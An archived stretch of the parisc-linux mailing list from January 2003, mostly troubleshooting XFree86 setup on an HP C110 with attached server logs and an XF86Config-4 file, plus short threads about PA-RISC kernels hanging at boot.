	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17537

On Wed, 29 Jan 2003 20:56:36 +0100
"Helge Deller" <deller@gmx.de> wrote:

> Hi Miten,
> 

> 
> You don't seem to have HIL, but IIRC the ps/2 driver uses the same /dev/input/mice 
> interface.

Well, in 2.4 kernel the PS/2 driver use /dev/psaux, since it doesn't comply with the new input layer. In 2.5, the new driver uses /dev/input/mice.

HTH,

Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:26:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mehta, Miten" <mmehta@elgin.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: X windows setup on C110 with woody and kernel-2.4.20pa22
Date: Wed, 29 Jan 2003 16:12:12 -0600
Lines: 297
Approved: news@gmane.org
Message-ID: <5D69EA3878E6D411B43C00508BFD7283049FB550@exchange2.elgin.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01C2C7E3.790A7FB0"
X-Trace: ger.gmane.org 1416622160 20758 80.91.229.3 (22 Nov 2014 02:09:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: 'Helge Deller' <deller@gmx.de>, "Mehta, Miten" <mmehta@elgin.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 29 15:15:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from exchange2.elgin.cc.il.us (exchange2.elgin.edu [66.158.60.7])
	by dsl2.external.hp.com (Postfix) with ESMTP id 02F37482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 15:15:38 -0700 (MST)
Original-Received: by exchange2.elgin.edu with Internet Mail Service (5.5.2653.19)
	id <C2L7HCSV>; Wed, 29 Jan 2003 16:12:13 -0600
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17538

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C2C7E3.790A7FB0
Content-Type: text/plain;
	charset="iso-8859-1"

Hey,

I tried it again and find here xfree log.  I was advised to take X window
setup to debian-hppa so I did not post to parisc list.  Also find
XF86Config-4.  

Actually what I just did I had done that in very first attempt ;-).  Thibaut
VARENE pointed out some thing which I have not tried to use /dev/psaux in
place of /dev/input/mice.  Just shall wait for your reponse.

thanks.

Miten.



-----Original Message-----
From: Helge Deller [mailto:deller@gmx.de]
Sent: Wednesday, January 29, 2003 1:57 PM
To: Mehta, Miten
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: X windows setup on C110 with woody and kernel-2.4.20pa22


Hi Miten,

Please don't remove parisc-linux@lists.parisc-linux.org from the receivers
in the future.

>From your dmesg this is the important part:

STI GSC/PCI graphics driver version 0.9
STI byte mode ROM at f4000000, hpa at f4000000
STI id 2bcb015a-9a02587, conforms to spec rev. 8.04
STI device: HPA4071B
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-32 frame buffer device, id: 2bcb015a, mmio: 0xf4100000

So, if you change the in SubSection "Display" the Depth to 32 it should
work:
Example:
    SubSection "Display"
                Depth           32               # 8, 16, 24 or 32 (acording
to "fbset -i")
                Modes           "1280x1024"     # "1024x768" or "1280x1024"
        EndSubSection

You don't seem to have HIL, but IIRC the ps/2 driver uses the same
/dev/input/mice 
interface.

Regards,
Helge



------_=_NextPart_000_01C2C7E3.790A7FB0
Content-Type: application/octet-stream;
	name="XFree86.0.log"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="XFree86.0.log"


This is a pre-release version of XFree86, and is not supported in any
way.  Bugs may be reported to XFree86@XFree86.Org and patches submitted
to fixes@XFree86.Org.  Before reporting bugs in pre-release versions,
please check the latest version in the XFree86 CVS repository
(http://www.XFree86.Org/cvs)

XFree86 Version 4.1.0.1 / X Window System
(protocol Version 11, revision 0, vendor release 6510)
Release Date: 21 December 2001
	If the server is older than 6-12 months, or if your card is
	newer than the above date, look for a newer version before
	reporting problems.  (See http://www.XFree86.Org/FAQ)
Build Operating System: Linux 2.4.16-64 parisc64 [ELF]=20
(=3D=3D) Log file: "/var/log/XFree86.0.log", Time: Wed Jan 29 22:13:09 =
2003
(=3D=3D) Using config file: "/etc/X11/XF86Config-4"
Markers: (--) probed, (**) from config file, (=3D=3D) default setting,
         (++) from command line, (!!) notice, (II) informational,
         (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(=3D=3D) ServerLayout "Default Layout"
(**) |-->Screen "Default Screen" (0)
(**) |   |-->Monitor "Generic Monitor"
(**) |   |-->Device "Generic Video Card"
(**) |-->Input Device "Keyboard"
(=3D=3D) Keyboard: CustomKeycode disabled
(**) |-->Input Device "Mouse"
(WW) The directory "/usr/lib/X11/fonts/cyrillic" does not exist.
	Entry deleted from font path.
(**) FontPath set to =
"unix/:7100,/usr/lib/X11/fonts/misc,/usr/lib/X11/fonts/100dpi/:unscaled,=
/usr/lib/X11/fonts/75dpi/:unscaled,/usr/lib/X11/fonts/Type1,/usr/lib/X11=
/fonts/Speedo,/usr/lib/X11/fonts/100dpi,/usr/lib/X11/fonts/75dpi"
(=3D=3D) RgbPath set to "/usr/X11R6/lib/X11/rgb"
(--) using VT number 7

(WW) Cannot open APM
(EE) No OS PCI support available
(II) Addressable bus resource ranges are
	[0] -1 0	0x00000000 - 0xffffffff (0x0) MX[B]
	[1] -1 0	0x00000000 - 0x0000ffff (0x10000) IX[B]
(II) OS-reported resource ranges:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) OS-reported resource ranges after removing overlaps with PCI:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) All system resource ranges:
	[0] -1 0	0xffffffff - 0xffffffff (0x1) MX[B]
	[1] -1 0	0x00000000 - 0x00000000 (0x1) MX[B]
	[2] -1 0	0x0000ffff - 0x0000ffff (0x1) IX[B]
	[3] -1 0	0x00000000 - 0x00000000 (0x1) IX[B]
(II) MGA: driver for Matrox chipsets: mga2064w, mga1064sg, mga2164w,
	mga2164w AGP, mgag100, mgag100 PCI, mgag200, mgag200 PCI, mgag400
(II) GLINT: driver for 3Dlabs chipsets: gamma, ti_pm2, ti_pm, pm3, =
pm2v,
	pm2, pm, 300sx, 500tx, mx, delta
	S3VIdentify
(II) S3VIRGE: driver (version 1.6.13) for S3 ViRGE chipsets: virge, =
86C325,
	virge vx, 86C988, virge dx, virge gx, 86C375, 86C385, virge gx2,
	86C357, virge mx, 86C260, virge mx+, 86C280, trio 3d, 86C365,
	trio 3d/2x, 86C362, 86C368
(II) SIS: driver for SiS chipsets: SIS5597, SIS5598, SIS530, SIS6326,
	SIS300, SIS630, SIS540
(II) SAVAGE: driver (version 1.1.16) for S3 Savage chipsets: Savage4,
	Savage3D, Savage3D-MV, Savage2000, Savage/MX-MV, Savage/MX,
	Savage/IX-MV, Savage/IX, ProSavage PM133, ProSavage KM133, Twister,
	TwisterK
(II) TRIDENT: driver for Trident chipsets: tvga8900d, cyber9320, =
cyber9388,
	cyber9397, cyber9397dvd, cyber9520, cyber9525dvd, cyberblade/e4,
	tgui9420dgi, tgui9440agi, tgui9660, tgui9680, providia9682,
	providia9685, cyber9382, cyber9385, 3dimage975, 3dimage985, blade3d,
	cyberbladei7, cyberbladei7d, cyberbladei1, cyberbladei1d,
	cyberbladeAi1, cyberbladeAi1d, cyberbladeXP, cyberbladeXPm
(II) CHIPS: Driver for Chips and Technologies chipsets: ct65520, =
ct65525,
	ct65530, ct65535, ct65540, ct65545, ct65546, ct65548, ct65550,
	ct65554, ct65555, ct68554, ct69000, ct69030, ct64200, ct64300
(II) TDFX: Driver for 3dfx Banshee/Voodoo3 chipsets: 3dfx Banshee,
	3dfx Voodoo3, 3dfx Voodoo5
(II) FBDev: driver for framebuffer: fbdev, afb
(II) ATI: ATI driver (version 6.3.6) for chipsets: ati
(II) R128: Driver for ATI Rage 128 chipsets: ATI Rage 128 RE (PCI),
	ATI Rage 128 RF (AGP), ATI Rage 128 RG (AGP), ATI Rage 128 RK (PCI),
	ATI Rage 128 RL (AGP), ATI Rage 128 Pro PD (PCI),
	ATI Rage 128 Pro PF (AGP), ATI Rage 128 Pro PP (PCI),
	ATI Rage 128 Pro PR (PCI), ATI Rage 128 Mobility LE (PCI),
	ATI Rage 128 Mobility LF (AGP), ATI Rage 128 Mobility MF (AGP),
	ATI Rage 128 Mobility ML (AGP)
(II) RADEON: Driver for ATI Radeon chipsets: ATI Radeon QD (AGP),
	ATI Radeon QE (AGP), ATI Radeon QF (AGP), ATI Radeon QG (AGP),
	ATI Radeon VE (AGP)
(II) imstt: driver (version 1.0.0 for IMS TwinTurbo chipsets : =
imstt128,
	imstt3d
(II) VGA: Generic VGA driver (version 4.0) for chipsets: generic
(II) v4l driver for Video4Linux
	S3VProbe begin
(II) FBDev(0): using default device
(II) Running in FRAMEBUFFER Mode
(EE) FBDev(0): No Display subsection in Screen section "Default Screen" =
for depth/fbbpp 24/24
(EE) Screen(s) found, but none have a usable configuration.

Fatal server error:
no screens found

When reporting a problem related to a server crash, please send
the full server output, not just the last messages.
This can be found in the log file "/var/log/XFree86.0.log".
Please report problems to submit@bugs.debian.org.


------_=_NextPart_000_01C2C7E3.790A7FB0
Content-Type: application/octet-stream;
	name="XF86Config-4"
Content-Disposition: attachment;
	filename="XF86Config-4"

#
# This XFree86 config files is usable for HIL and USB keyboards and mice
# by Helge Deller <deller@gmx.de> 2002-07-06
#
# Please adjust the "depth" and "Modes" entries below in the Screen Section
# acording to your system configuration.
# 
# EXAMPLE:
# Run the following command on the bash prompt:
#
# dmesg | grep stifb
#
# and my system gives:
# fb0: stifb 1280x1024-8 frame buffer device, id: 2b4ded6d, mmio: 0xf8100000
# so I'm using "Depth 8" and "Modes 1280x1024" below.
#

Section "Files"
	FontPath	"unix/:7100"			# local font server
	# if the local font server has problems, we can fall back on these
	FontPath	"/usr/lib/X11/fonts/misc"
	FontPath	"/usr/lib/X11/fonts/cyrillic"
	FontPath	"/usr/lib/X11/fonts/100dpi/:unscaled"
	FontPath	"/usr/lib/X11/fonts/75dpi/:unscaled"
	FontPath	"/usr/lib/X11/fonts/Type1"
	FontPath	"/usr/lib/X11/fonts/Speedo"
	FontPath	"/usr/lib/X11/fonts/100dpi"
	FontPath	"/usr/lib/X11/fonts/75dpi"
EndSection

Section "Module"
	Load	"GLcore"
	Load	"bitmap"
	Load	"dbe"
	Load	"ddc"
	Load	"dri"
	Load	"extmod"
	Load	"freetype"
	Load	"glx"
	Load	"int10"
	Load	"pex5"
	Load	"record"
	Load	"speedo"
	Load	"type1"
	Load	"vbe"
	Load	"xie"
EndSection

Section "InputDevice"
	Identifier	"Keyboard"
	Driver		"keyboard"
	Option		"CoreKeyboard"
#	Option		"XkbLayout"	"de"
EndSection

Section "InputDevice"
	Identifier	"Mouse"
	Driver		"mouse"
	Option		"CorePointer"
	Option		"Device"		"/dev/input/mice"
	Option		"Protocol"		"ImPS/2"
	Option		"ZAxisMapping"		"4 5"
EndSection

					     
Section "Device"
	Identifier	"Generic Video Card"
	Driver		"fbdev"
	Option		"UseFBDev"		"true"
EndSection

Section "Monitor"
	Identifier	"Generic Monitor"
	HorizSync	30-70
	VertRefresh	50-160
	Option		"DPMS"
EndSection

Section "Screen"
	Identifier	"Default Screen"
	Device		"Generic Video Card"
	Monitor		"Generic Monitor"
	SubSection "Display"
		Depth		32		# 8, 16, 24 or 32
		Modes		"1280x1024"	# "1024x768" or "1280x1024"
	EndSubSection
EndSection

Section "ServerLayout"
	Identifier	"Default Layout"
	Screen		"Default Screen"
	InputDevice	"Keyboard"
	InputDevice	"Mouse"
EndSection

Section "DRI"
	Mode	0666
EndSection


------_=_NextPart_000_01C2C7E3.790A7FB0--


From - Thu Nov 08 21:26:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Aaron St. Pierre" <asp@ungod.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] serial console
Date: Wed, 29 Jan 2003 17:35:44 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <20030129223544.GE18807@hadron>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622160 20761 80.91.229.3 (22 Nov 2014 02:09:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 29 15:35:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hadron.dyndns.org (ma-amesbury1e-100.mrrmnh.adelphia.net [68.168.107.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id ECA2E482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 15:35:51 -0700 (MST)
Original-Received: from hadron.dyndns.org (LOCALHOST [127.0.0.1])
	by hadron.dyndns.org (8.12.7/8.12.7/Debian-2) with ESMTP id h0TMZoT5024423
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 17:35:50 -0500
Original-Received: (from asp@localhost)
	by hadron.dyndns.org (8.12.7/8.12.7/Debian-2) id h0TMZihV024422
	for parisc-linux@lists.parisc-linux.org; Wed, 29 Jan 2003 17:35:44 -0500
Content-Disposition: inline
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17539

Hi all, 

	I am almost scared to ask this question, but I really dont have any
	other alternatives. 

	HP VISUALIZE - J2240 
	latest source
	latesst gcc
	kernel config - basic
	
	In any case I have the latest compilers and the latest source. I
	have gone through the booting howto and have successfully switched
	my console. Yet I cannot get any messages after : 

	Branching to kernel entry point....

	The make palo went fine, at which time i added my ramdisk and what
	not. I suspect it has something to do with my kernel since I have
	gotten the lifimage from debian and it works without a problem. 

	I must be missing something here, any help anyone could provide
	would be greatly appreciated. 

	Thanks,	

-- 
Aaron St. Pierre			tel: 978.828.6177
asp@ungod.com

 Wow, I'm being shot at from both sides.  That means I *must* be right.  :-)
              -- Larry Wall in <199710211959.MAA18990@wall.org>


From - Thu Nov 08 21:26:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Keith Hopkins <kxh3@wwarc1.atl.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: X windows setup on C110 with woody and kernel-2.4.20pa22
Date: Thu, 30 Jan 2003 10:15:26 +0900
Organization: Hewlett-Packard
Lines: 82
Approved: news@gmane.org
Message-ID: <3E387CAE.6060408@wwarc1.atl.hp.com>
References: <5D69EA3878E6D411B43C00508BFD7283049FB550@exchange2.elgin.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622160 20766 80.91.229.3 (22 Nov 2014 02:09:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:20 +0000 (UTC)
Cc: "'Helge Deller'" <deller@gmx.de>,
	parisc-linux@lists.parisc-linux.org
To: "Mehta, Miten" <mmehta@elgin.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 29 18:16:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from jpnsmtp6.jpn.hp.com (jpnrel6.hp.com [128.88.255.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1C57B482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 18:16:03 -0700 (MST)
Original-Received: from ejp0874l.jpn.hp.com (ejp0874l.jpn.hp.com [15.78.133.99])
	by jpnsmtp6.jpn.hp.com (8.9.3/3.7W-Tokyo-MailGateway 08/05/02) with ESMTP id KAA17859;
	Thu, 30 Jan 2003 10:17:09 +0900 (JST)
Original-Received: from wwarc1.atl.hp.com (IDENT:CL1n7bbOh2QRoXlHrZqOBGVgj19DCKjj@ejp0874l.jpn.hp.com [127.0.0.1])
	by ejp0874l.jpn.hp.com (8.11.6/8.11.6) with ESMTP id h0U1FRV29072;
	Thu, 30 Jan 2003 10:15:27 +0900
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01
X-Accept-Language: en-us, en, ja
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17540

Mehta, Miten wrote:
> Hey,
> 
> I tried it again and find here xfree log.  I was advised to take X window
> setup to debian-hppa so I did not post to parisc list.  Also find
> XF86Config-4.  
> 
> Actually what I just did I had done that in very first attempt ;-).  Thibaut
> VARENE pointed out some thing which I have not tried to use /dev/psaux in
> place of /dev/input/mice.  Just shall wait for your reponse.
> 
> thanks.
> 
> Miten.
> 
> 
> 
> -----Original Message-----
> From: Helge Deller [mailto:deller@gmx.de]
> Sent: Wednesday, January 29, 2003 1:57 PM
> To: Mehta, Miten
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: X windows setup on C110 with woody and kernel-2.4.20pa22
> 
> 
> Hi Miten,
> 
> Please don't remove parisc-linux@lists.parisc-linux.org from the receivers
> in the future.
> 
>>From your dmesg this is the important part:
> 
> STI GSC/PCI graphics driver version 0.9
> STI byte mode ROM at f4000000, hpa at f4000000
> STI id 2bcb015a-9a02587, conforms to spec rev. 8.04
> STI device: HPA4071B
> Console: switching to colour frame buffer device 160x64
> fb0: stifb 1280x1024-32 frame buffer device, id: 2bcb015a, mmio: 0xf4100000
> 
> So, if you change the in SubSection "Display" the Depth to 32 it should
> work:
> Example:
>     SubSection "Display"
>                 Depth           32               # 8, 16, 24 or 32 (acording
> to "fbset -i")
>                 Modes           "1280x1024"     # "1024x768" or "1280x1024"
>         EndSubSection
> 
> You don't seem to have HIL, but IIRC the ps/2 driver uses the same
> /dev/input/mice 
> interface.
> 
> Regards,
> Helge
> 
>

Hi Miten,

   Your log now complains there is no Depth 24 section.  So, I suggest to ADD that section just above/below the Depth 32 section.

Example:

Section "Screen"
	Identifier	"Default Screen"
	Device		"Generic Video Card"
	Monitor		"Generic Monitor"
	SubSection "Display"
		Depth		24		# 8, 16, 24 or 32
		Modes		"1280x1024"	# "1024x768" or "1280x1024"
	EndSubSection
	SubSection "Display"
		Depth		32		# 8, 16, 24 or 32
		Modes		"1280x1024"	# "1024x768" or "1280x1024"
	EndSubSection
EndSection

--
Best Regards,
   Keith



From - Thu Nov 08 21:26:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sir Ace <chandler@nateng.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Update...
Date: Wed, 29 Jan 2003 17:27:39 -0800 (PST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0301291610240.235-100000@jordan.eng.nateng.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622161 20769 80.91.229.3 (22 Nov 2014 02:09:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:21 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 29 18:28:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.nateng.com (user-vc8fdp3.biz.mindspring.com [216.135.183.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id D113B482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 18:28:22 -0700 (MST)
Original-Received: from jordan.eng.nateng.com (jordan.eng.nateng.com [172.16.100.200])
	by mail.nateng.com (8.11.2/8.11.2) with ESMTP id h0U1gtp03289
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 17:42:55 -0800
X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: mail.nateng.com
Original-Received: from localhost (chandler@localhost)
	by jordan.eng.nateng.com (8.11.4/8.11.4) with ESMTP id h0U1Rdj01866
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 17:27:39 -0800
X-Authentication-Warning: jordan.eng.nateng.com: chandler owned process doing -bs
X-X-Sender: <chandler@jordan.eng.nateng.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17541

Yesterday I sent back saying my box, booted faster with your bus-walk
patch, but still hung..  I finally had a chance to take a little closer
look at it today.

The kernel dead hangs, {magic keys don't work}, and it does it where it
should be starting to mount/read the root volume.

I've removed from the kernel config:
RAM disk support
Initial RAM disk (initrd) support

HP System Device Controller i8042 Support
HP SDC Real Time Clock
HIL MLC Support
HIL Keyboard (full) support (NEW)
HIL Mouse & Pointer support (NEW)

and now it boots fine...
I will attempt to figure out which option hosed it...




From - Thu Nov 08 21:26:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mehta, Miten" <mmehta@elgin.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] RE: X windows setup on C110 with woody and ker
	nel-2.4.20pa22
Date: Wed, 29 Jan 2003 19:37:32 -0600
Lines: 255
Approved: news@gmane.org
Message-ID: <5D69EA3878E6D411B43C00508BFD7283049FB553@exchange2.elgin.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01C2C800.2889A620"
X-Trace: ger.gmane.org 1416622161 20773 80.91.229.3 (22 Nov 2014 02:09:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:21 +0000 (UTC)
Cc: 'Helge Deller' <deller@gmx.de>,
	parisc-linux@lists.parisc-linux.org
To: 'Keith Hopkins' <kxh3@wwarc1.atl.hp.com>,
	"Mehta, Miten" <mmehta@elgin.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 29 18:41:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from exchange2.elgin.cc.il.us (exchange2.elgin.edu [66.158.60.7])
	by dsl2.external.hp.com (Postfix) with ESMTP id 07AE6482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Jan 2003 18:41:03 -0700 (MST)
Original-Received: by exchange2.elgin.edu with Internet Mail Service (5.5.2653.19)
	id <C2L7HDJD>; Wed, 29 Jan 2003 19:37:38 -0600
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17542

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C2C800.2889A620
Content-Type: text/plain;
	charset="iso-8859-1"

Hello,

I still get errors for depth 24 though some what different.

take a look at xfree log attached.

thanks.



-----Original Message-----
From: Keith Hopkins [mailto:kxh3@wwarc1.atl.hp.com]
Sent: Wednesday, January 29, 2003 7:15 PM
To: Mehta, Miten
Cc: 'Helge Deller'; parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] RE: X windows setup on C110 with woody and
kernel-2.4.20pa22


Mehta, Miten wrote:
> Hey,
> 
> I tried it again and find here xfree log.  I was advised to take X window
> setup to debian-hppa so I did not post to parisc list.  Also find
> XF86Config-4.  
> 
> Actually what I just did I had done that in very first attempt ;-).
Thibaut
> VARENE pointed out some thing which I have not tried to use /dev/psaux in
> place of /dev/input/mice.  Just shall wait for your reponse.
> 
> thanks.
> 
> Miten.
> 
> 
> 
> -----Original Message-----
> From: Helge Deller [mailto:deller@gmx.de]
> Sent: Wednesday, January 29, 2003 1:57 PM
> To: Mehta, Miten
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: X windows setup on C110 with woody and kernel-2.4.20pa22
> 
> 
> Hi Miten,
> 
> Please don't remove parisc-linux@lists.parisc-linux.org from the receivers
> in the future.
> 
>>From your dmesg this is the important part:
> 
> STI GSC/PCI graphics driver version 0.9
> STI byte mode ROM at f4000000, hpa at f4000000
> STI id 2bcb015a-9a02587, conforms to spec rev. 8.04
> STI device: HPA4071B
> Console: switching to colour frame buffer device 160x64
> fb0: stifb 1280x1024-32 frame buffer device, id: 2bcb015a, mmio:
0xf4100000
> 
